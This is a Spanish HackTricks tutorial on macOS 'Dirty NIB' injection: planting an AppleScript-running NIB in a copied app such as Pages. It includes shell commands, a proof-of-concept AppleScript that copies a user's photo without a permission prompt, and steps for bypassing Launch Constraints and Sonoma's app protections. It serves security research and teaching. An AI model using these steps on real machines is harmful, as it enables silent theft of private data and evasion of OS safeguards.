hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md

9.2 KiB

macOS Dirty NIB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Esta técnica fue tomada del post https://blog.xpnsec.com/dirtynib/

Información básica

Los archivos NIB se utilizan en el ecosistema de desarrollo de Apple para definir elementos de interfaz de usuario (UI) y sus interacciones dentro de una aplicación. Creados con la herramienta Interface Builder, contienen objetos serializados como ventanas, botones y campos de texto, que se cargan en tiempo de ejecución para presentar la interfaz de usuario diseñada. Aunque aún se utilizan, Apple ha pasado a recomendar Storyboards para una representación más visual del flujo de la interfaz de usuario de una aplicación.

{% hint style="danger" %} Además, los archivos NIB también se pueden utilizar para ejecutar comandos arbitrarios y si se modifica el archivo NIB en una aplicación, Gatekeeper seguirá permitiendo ejecutar la aplicación, por lo que se pueden utilizar para ejecutar comandos arbitrarios dentro de aplicaciones. {% endhint %}

Inyección de Dirty NIB

Primero necesitamos crear un nuevo archivo NIB, utilizaremos XCode para la mayor parte de la construcción. Comenzamos agregando un objeto a la interfaz y establecemos la clase en NSAppleScript:

Para el objeto, necesitamos establecer la propiedad inicial source, lo cual podemos hacer utilizando Atributos de Tiempo de Ejecución Definidos por el Usuario:

Esto configura nuestro gadget de ejecución de código, que simplemente va a ejecutar AppleScript a pedido. Para activar la ejecución del AppleScript, simplemente agregaremos un botón por ahora (por supuesto, puedes ser creativo con esto ;). El botón se vinculará al objeto Apple Script que acabamos de crear y invocará el selector executeAndReturnError::

Para las pruebas, simplemente utilizaremos el Apple Script de:

set theDialogText to "PWND"
display dialog theDialogText

Y si ejecutamos esto en el depurador de XCode y presionamos el botón:

Con nuestra capacidad para ejecutar código AppleScript arbitrario desde un NIB, a continuación necesitamos un objetivo. Elegiremos Pages para nuestra demostración inicial, que es, por supuesto, una aplicación de Apple y ciertamente no debería ser modificable por nosotros.

Primero haremos una copia de la aplicación en /tmp/:

cp -a -X /Applications/Pages.app /tmp/

Luego, lanzaremos la aplicación para evitar problemas con Gatekeeper y permitir que las cosas se almacenen en caché:

open -W -g -j /Applications/Pages.app

Después de lanzar (y cerrar) la aplicación por primera vez, necesitaremos sobrescribir un archivo NIB existente con nuestro archivo DirtyNIB. Para fines de demostración, simplemente vamos a sobrescribir el archivo NIB del Panel Acerca de para poder controlar la ejecución:

cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib

Una vez que hayamos sobrescrito el nib, podemos activar la ejecución seleccionando el elemento de menú Acerca de:

Si observamos Pages más de cerca, veremos que tiene un privilegio privado que permite acceder a las fotos de los usuarios:

Por lo tanto, podemos poner a prueba nuestra prueba de concepto modificando nuestro AppleScript para robar fotos del usuario sin solicitar permiso:

{% code overflow="wrap" %}

use framework "Cocoa"
use framework "Foundation"

set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"

grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1

{% endcode %}

{% hint style="danger" %} Ejemplo de archivo .xib malicioso que ejecuta código arbitrario. {% endhint %}

Restricciones de lanzamiento

Básicamente, impiden la ejecución de aplicaciones fuera de sus ubicaciones esperadas, por lo que si copias una aplicación protegida por Restricciones de Lanzamiento a /tmp, no podrás ejecutarla.
Encuentra más información en esta publicación.

Sin embargo, al analizar el archivo /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4, aún puedes encontrar aplicaciones que no están protegidas por Restricciones de Lanzamiento, por lo que aún puedes inyectar archivos NIB en ubicaciones arbitrarias en esas aplicaciones (consulta el enlace anterior para aprender cómo encontrar estas aplicaciones).

Protecciones adicionales

A partir de macOS Somona, existen algunas protecciones que impiden escribir dentro de las aplicaciones. Sin embargo, aún es posible eludir esta protección si, antes de ejecutar tu copia del binario, cambias el nombre de la carpeta Contents:

  1. Haz una copia de CarPlay Simulator.app en /tmp/
  2. Cambia el nombre de /tmp/Carplay Simulator.app/Contents a /tmp/CarPlay Simulator.app/NotCon
  3. Ejecuta el binario /tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator para almacenar en caché dentro de Gatekeeper
  4. Sobrescribe NotCon/Resources/Base.lproj/MainMenu.nib con nuestro archivo Dirty.nib
  5. Cambia el nombre a /tmp/CarPlay Simulator.app/Contents
  6. Vuelve a ejecutar CarPlay Simulator.app
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥